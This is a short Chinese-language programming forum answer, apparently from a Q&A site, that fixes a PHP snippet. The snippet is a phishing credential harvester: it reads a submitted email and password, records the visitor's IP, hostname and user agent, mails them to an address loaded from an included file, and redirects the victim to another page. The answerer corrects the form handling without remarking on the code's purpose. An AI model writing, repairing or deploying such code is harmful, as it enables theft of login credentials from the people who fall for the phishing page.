1 回答
TA贡献1877条经验 获得超6个赞
首先,您的php $ _POST是错误的。它必须在下面。并且请检查邮件功能$ to和$ send变量。
if ($_POST["usrr"] != "" and $_POST["psww"] != "") {
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'];
$message = '';
$message .= "-------------- Info-----------------------\n";
$message .= "Email : " . $_POST['usrr'] . "\n";
$message .= "Password : " . $_POST['psww'] . "\n";
include 'email.php';
$subject = "New User| $ip";
{
mail("$to", "$send", "$subject", $message); // Where is $to and $send variables ?
}
$praga = rand();
$praga = md5($praga);
header("Location: sq1.php");
}
- 1 回答
- 0 关注
- 161 浏览
添加回答
举报